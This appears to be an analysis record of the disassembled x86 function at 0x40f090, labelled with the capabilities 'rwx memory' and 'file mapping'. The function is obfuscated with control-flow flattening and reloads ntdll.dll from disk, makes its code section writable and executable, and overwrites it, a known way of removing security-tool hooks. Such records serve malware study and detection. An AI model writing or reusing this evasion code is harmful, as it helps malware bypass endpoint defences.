Function at 0x40f090
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x90
mov eax, dword [0x52f080]
xor eax, ebp
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041f960
mov dword [ebp - 0x78], 0x8aeba3f8
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
sub eax, 0x89004d2f
je 0x40f466
jmp 0x40f0e8
mov eax, dword [ebp - 0x7c]
sub eax, 0x8aeba3f8
je 0x40f2db
jmp 0x40f0fb
mov eax, dword [ebp - 0x7c]
sub eax, 0x92d46969
je 0x40f921
jmp 0x40f10e
mov eax, dword [ebp - 0x7c]
sub eax, 0x9aaac029
je 0x40f7c0
jmp 0x40f121
mov eax, dword [ebp - 0x7c]
sub eax, 0x9e037092
je 0x40f950
jmp 0x40f134
mov eax, dword [ebp - 0x7c]
sub eax, 0xbe904275
je 0x40f427
jmp 0x40f147
mov eax, dword [ebp - 0x7c]
sub eax, 0xcc4ac527
je 0x40f96f
jmp 0x40f15a
mov eax, dword [ebp - 0x7c]
sub eax, 0xd8ff9403
je 0x40f5d6
jmp 0x40f16d
mov eax, dword [ebp - 0x7c]
sub eax, 0xe6397ca0
je 0x40f641
jmp 0x40f180
mov eax, dword [ebp - 0x7c]
sub eax, 0xf50adb27
je 0x40f413
jmp 0x40f193
mov eax, dword [ebp - 0x7c]
sub eax, 0xf74f4e22
je 0x40f8b6
jmp 0x40f1a6
mov eax, dword [ebp - 0x7c]
sub eax, 0x42dc66e
je 0x40f728
jmp 0x40f1b9
mov eax, dword [ebp - 0x7c]
sub eax, 0xa230e5f
je 0x40f478
jmp 0x40f1cc
mov eax, dword [ebp - 0x7c]
sub eax, 0x1a8bfda7
je 0x40f9c9
jmp 0x40f1df
mov eax, dword [ebp - 0x7c]
sub eax, 0x2425982c
je 0x40f5bb
jmp 0x40f1f2
mov eax, dword [ebp - 0x7c]
sub eax, 0x2790ae05
je 0x40f52a
jmp 0x40f205
mov eax, dword [ebp - 0x7c]
sub eax, 0x2d7de68a
je 0x40f3e9
jmp 0x40f218
mov eax, dword [ebp - 0x7c]
sub eax, 0x38462b65
je 0x40f93c
jmp 0x40f22b
mov eax, dword [ebp - 0x7c]
sub eax, 0x3c8cd2a3
je 0x40f734
jmp 0x40f23e
mov eax, dword [ebp - 0x7c]
sub eax, 0x406b45a0
je 0x40f837
jmp 0x40f251
mov eax, dword [ebp - 0x7c]
sub eax, 0x40f29562
je 0x40f4bf
jmp 0x40f264
mov eax, dword [ebp - 0x7c]
sub eax, 0x462e3c58
je 0x40f8aa
jmp 0x40f277
mov eax, dword [ebp - 0x7c]
sub eax, 0x4b3adb2b
je 0x40f44b
jmp 0x40f28a
mov eax, dword [ebp - 0x7c]
sub eax, 0x502561cc
je 0x40f7a6
jmp 0x40f29d
mov eax, dword [ebp - 0x7c]
sub eax, 0x55176e2b
je 0x40f8e2
jmp 0x40f2b0
mov eax, dword [ebp - 0x7c]
sub eax, 0x706c8056
je 0x40f7cc
jmp 0x40f2c3
mov eax, dword [ebp - 0x7c]
sub eax, 0x71675e65
je 0x40f8d6
jmp 0x40f2d6
jmp 0x40f9d0
lea eax, str.ntdll.dll
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
lea eax, [ebp - 0x18]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x54], eax
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x78], 0x2d7de68a
jmp 0x40f9d0
mov eax, dword [ebp - 0x64]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x48]
sub eax, 0x57b27d2f
add eax, ecx
add eax, 0x57b27d2f
mov dword [ebp - 0x68], eax
mov word [ebp - 0x6a], 0
mov dword [ebp - 0x78], 0xf50adb27
jmp 0x40f9d0
mov ax, word [ebp - 0x6a]
mov word [ebp - 0x44], ax
mov dword [ebp - 0x78], 0xbe904275
jmp 0x40f9d0
mov ax, word [ebp - 0x44]
movzx eax, ax
mov ecx, dword [ebp - 0x68]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x41], al
mov dword [ebp - 0x78], 0x4b3adb2b
jmp 0x40f9d0
mov dl, byte [ebp - 0x41]
mov eax, 0x55176e2b
mov ecx, 0x89004d2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x78], 0xa230e5f
jmp 0x40f9d0
mov eax, dword [ebp - 0x40]
sub eax, 0x19715152
add eax, 0x18
add eax, 0x19715152
mov ecx, dword [ebp - 0x68]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
movzx ecx, word [ebp - 0x6a]
imul edx, ecx, 0x28
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x78], 0x40f29562
jmp 0x40f9d0
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e037092
mov ecx, 0x2790ae05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov ecx, dword [ebp - 0x3c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ecb1
call fcn.00423260
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x35], al
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
add edx, 0x6d9a1c5f
sub edx, 1
sub edx, 0x6d9a1c5f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9e037092
mov ecx, 0x2425982c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov dl, byte [ebp - 0x35]
mov eax, 0xd8ff9403
mov ecx, 0x9aaac029
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcc4ac527
mov ecx, 0xe6397ca0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x70]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x71], al
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x70]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
mov edx, ecx
add edx, 0xfef8915d
sub edx, 1
sub edx, 0xfef8915d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcc4ac527
mov ecx, 0x42dc66e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov dword [ebp - 0x78], 0x3c8cd2a3
jmp 0x40f9d0
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0x30]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 8]
mov edx, dword [ebp - 0x34]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041fac0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x54]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0xc]
add esi, 0x35eee252
add esi, eax
sub esi, 0x35eee252
lea eax, [ebp - 0x1c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x78], 0x502561cc
jmp 0x40f9d0
mov eax, dword [ebp - 0x28]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x71], al
mov dword [ebp - 0x78], 0x9aaac029
jmp 0x40f9d0
mov dword [ebp - 0x78], 0x706c8056
jmp 0x40f9d0
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a8bfda7
mov ecx, 0x406b45a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov ax, word [ebp - 0x6a]
mov word [ebp - 0x22], ax
mov ecx, dword [0x530564]
mov eax, dword [0x530560]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a8bfda7
mov ecx, 0x462e3c58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x40f9d0
mov dword [ebp - 0x78], 0xf74f4e22
jmp 0x40f9d0
mov ax, word [ebp - 0x22]
add ax, 0x8f59
add ax, 1
sub ax, 0x8f59
mov word [ebp - 0x6a], ax
mov dword [ebp - 0x78], 0x71675e65
jmp 0x40f9d0
mov dword [ebp - 0x78], 0xf50adb27
jmp 0x40f9d0
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x78], 0x92d46969
jmp 0x40f9d0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov dword [ebp - 0x78], 0x38462b65
jmp 0x40f9d0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041ec70
add esp, 0x90
pop esi
pop ebx
pop ebp
ret
mov ecx, dword [ebp - 0x3c]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42ecb1
call fcn.00423260
mov dword [ebp - 0x78], 0x2790ae05
jmp 0x40f9d0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x70]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x71], al
mov dword [ebp - 0x78], 0xe6397ca0
jmp 0x40f9d0
mov dword [ebp - 0x78], 0x406b45a0
jmp 0x40f0d2